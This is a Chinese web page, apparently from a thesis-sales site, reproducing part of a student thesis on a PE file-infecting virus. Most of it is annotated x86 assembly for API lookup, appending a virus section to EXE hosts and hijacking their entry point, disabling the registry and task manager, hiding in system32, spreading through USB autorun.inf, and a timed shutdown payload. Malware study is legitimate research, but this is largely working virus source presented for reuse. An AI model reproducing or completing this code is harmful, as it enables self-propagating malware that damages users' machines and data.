网站导航网学 原创论文 网站设计 最新系统 最新研究 原创论文 获取论文 论文降重 发表论文 论文发表 UI设计定制 论文答辩PPT格式排版 期刊发表 论文专题
返回网学首页
网学原创论文
最新论文 推荐专题 热门论文 论文专题
当前位置: 网学 > 设计下载 > 其他类别 > 正文

基于PE病毒实现EXE文件的感染研究

来源:http://myeducs.cn 联系QQ:点击这里给我发消息 作者: 用户投稿 来源: 网络 发布时间: 13/05/06

【编者按】网学网其他类别频道为大家收集整理了“基于PE病毒实现EXE文件的感染研究“提供大家参考,希望对大家有所帮助!

QQ交谈客服咨询,网学网竭诚为您服务,本站永久域名:myeducs.cn

 

图1 主程序流程图
4.1.6病毒程序搜索API函数模块-SearchAPI.ASM
1.基本流程图
通过已知函数名称和Kerner32引出表来查找所需API函数地址并存放,方便以后使用。相关理论知识参照2.2.4获取API函数地址。基本搜索流程如图2。
2.核心代码
              lea edi,[ebp+aGetModuleHandle]        ;EDI指向API函数地址存放位置                        lea esi,[ebp+lpApiAddrs]              ;ESI指向API函数名字串偏移地址Loop_Get_API:         
              lodsd                             ;EAX,DS:ESI
              cmp eax,0
              jz End_Get_API
              add eax,ebp
              push eax                          ;第一次EAX中放着GetModuleHandleA函数名字串的真实位置
              push dword ptr [ebp+k32Base]        ;kernel32.dll基地址
              call GetAPIAdd                    ;SearchAPI.asm中过程GetAPIA proto :DWORD,:DWORD
              stosd
              jmp Loop_Get_API               ;获得API地址,参见SearchAPI.asm文件
End_Get_API:
 
图2 SearchAPI运行流程图
4.1.7病毒程序感染EXE文件模块-Modify_PE.ASM
1.基本流程图
这是病毒将自身寄生到HOST中,感染部分的模块。基本感染流程如图3。

图3 Modify_PE运行流程图
2.核心代码

cmp word ptr [esi],''ZM''                               ;PE文件判断第一步
jne CouldNotInfect
cmp word ptr [esi],''EP''                               ;PE文件判断第二步
jne CouldNotInfect
cmp dword ptr [esi+8],''JERR''                          ;文件是否已经感染
je Loop_Get_Path               ;如果已经感染过了,试图感染下一个指定文件
……
mov [ebp+pe_Header],esi                               ;保存pe_Header指针
mov ecx,[esi+74h]                                     ;得到directory的数目
imul ecx,ecx,8
lea eax,[ecx+esi+78h]                                 ;eax=data directory结束地址=节表起始地址
movzx ecx,word ptr [esi+6h]                           ;节数目
imul ecx,ecx,28h                                      ;得到所有节表的大小
add eax,ecx                                           ;节结尾
xchg eax,esi               ;eax->Pe_header,esi->最后节开始偏移(即病毒节开始处)
;----------以上得到了新节的起始地址,以下是利用起始对病毒节的操作------------
mov dword ptr [esi],''REJ.''                              ;节名.JERRY
mov dword ptr [esi+8],VirusLen                          ;节的实际大小
……
mov dword ptr [esi+10h],eax                           ;保存节对齐文件后的大小
mov eax,[esi-40+14h]
add eax,[esi-40+10h]
mov [esi+14h],eax                                     ;PointerToRawData更新
mov [ebp+oldEnd],eax                     ;病毒代码往HOST文件中的写入点
mov eax,[ebp+pe_Header]
inc word ptr [eax+6h]                                 ;更新节数目
mov ebx,[eax+28h]                                     ;eip指针偏移
 
mov [ebp+oldEip],ebx                                  ;保存老指针
mov ebx,[ebp+newEip]                         ;使HOST程序首先执行病毒程序
mov [eax+28h],ebx                                     ;更新指针值
mov ebx,[eax+50h]                                     ;更新ImageSize
add ebx,VirusLen
……
mov [eax+50h],ebx ;确保更新后的Image_Size大小=(原Image_size+病毒长度)对齐后的长度
mov dword ptr [eax+8],''JERR''     ;病毒感染标志直接写到被感染文件的PE头中
cld
mov ecx,VirusLen
mov edi,[ebp+oldEnd]
add edi,[ebp+pMem]
lea esi,[ebp+vBegin]
rep movsb                        ;将病毒代码写入目标文件新建的节中!
……
push [ebp+hFile]
call [ebp+aSetFilePointer]                            ;设定文件读写指针
push [ebp+hFile]
call [ebp+aSetEndOfFile]                       ; 将当前文件位置设为文件末尾
4.1.8病毒程序感染及U盘传播模块-EffectU.ASM
1.基本流程图
本模块是主要的不发作的破坏模块,包括禁用注册表,禁用任务管理器,关联NOTEPDA.EXE,把自己隐藏并存放到系统目录下,传播U盘等。如图4。
本模块的程序流程图如图4所示。

图4 EffectU运行流程图
2.核心代码

call [ebp+aLoadLibrary]                  ;导入advapi32.dll链接库
mov ebx,eax
lea edx,[ebp+sRegOpenKeyExA]
push edx
push ebx
call [ebp+aGetProcAddress]               ;获取RegOpenKeyExA函数的地址
……
call [ebp+aRegOpenKeyExA]             ;修改注册表与NOTEPAD.EXE关联
……
call [ebp+aRegSetValueExA]
……
push FALSE
lea eax,[ebp+destinationaddr]
push eax
lea eax,[ebp+sourceaddr]
push eax
call [ebp+aCopyFileA]    ;把JERRY.EXE拷贝到C:WINDOWS\system32\JERRY.EXE
;-------------------------------
push FILE_ATTRIBUTE_SYSTEM+FILE_ATTRIBUTE_HIDDEN
lea eax,[ebp+destinationaddr]
push eax
call [ebp+aSetFileAttributes]
……
call [ebp+aGetDriveTypeA]                  ;取得U盘的盘符
cmp eax,DRIVE_REMOVABLE
……
call [ebp+aCopyFileA]         ;拷贝文件\system32\JERRY.exe到#:\JERRY.EXE
……
push FILE_ATTRIBUTE_SYSTEM+FILE_ATTRIBUTE_HIDDEN
……
push GENERIC_READ+GENERIC_WRITE
call [ebp+aCreateFile]                    ;生成空#:\autorun.inf
……
call [ebp+aWriteFile]                    ;为anturun.inf写入内容
……
4.1.9病毒程序发作模块-Burst.ASM
1.基本流程图
病毒会取系统时间并选择在合适的时间发作,发作的征兆有提示框,关机。
2.核心代码
call [ebp+aLoadLibrary]                          ;导入user32.dll链接库
mov ebx,eax
lea edx,[ebp+sMessageBoxA]
push edx
push eax
call [ebp+aGetProcAddress]                       ;获取MessageBoxA函数的地址
……
lea eax,[ebp+Time]                             ;23:20-23:59分之间发作
push eax
call [ebp+aGetSystemTime]
cmp [ebp+Time].wHour,0Fh
jnz No_Infect
cmp [ebp+Time].wMinute,3Bh
ja No_Infect
cmp [ebp+Time].wMinute,14h
jb No_Infect
……
push 0
call [ebp+aMessageBoxA]
……
push SW_SHOW
lea eax,[ebp+shutdown]

图5 Burst运行流程图
push eax

call [ebp+aWinExec]
4.2病毒程序测试
4.2.1病毒程序测试环境
1.环境一
系统:Microsoft Windows XP Professional Service Pack 2
主机:AMD Athlon(tm) 64 Processor 2800+ 1G内存
2.环境二
系统:Microsoft Windows XP Professional Service Pack 2
主机:AMD sempron(tm) 2400+ 512M内存
3.环境三
系统:Microsoft Windows XP Professional Service Pack 2
主机:Pentium-M 1.6GHZ 512M内存
4.2.2病毒程序测试过程

图6 主机感染测试
4.2.1.1测试一 主机感染测试(无杀毒软件的情况下)

主机未被感染,U盘已带毒,用户使用U盘造成感染。测试一流程如图6。

 

 

本站发布的计算机毕业设计均是完整无错的全套作品,包含开题报告+程序+论文+源代码+翻译+答辩稿PPT

本文选自计算机毕业设计http://myeducs.cn
论文文章部分只是部分简介,如需了解更多详情请咨询本站客服!QQ交谈QQ3710167

  • 上一篇资讯: 视频音频播放器的设计
  • 原创论文

    设为首页 | 加入收藏 | 论文首页 |原创论文 |
    版权所有 QQ:3710167 邮箱:3710167@qq.com 网学网 [Myeducs.cn] 您电脑的分辨率是 像素
    Copyright 2008-2020 myeducs.Cn www.myeducs.Cn All Rights Reserved 湘ICP备09003080号 常年法律顾问:王律师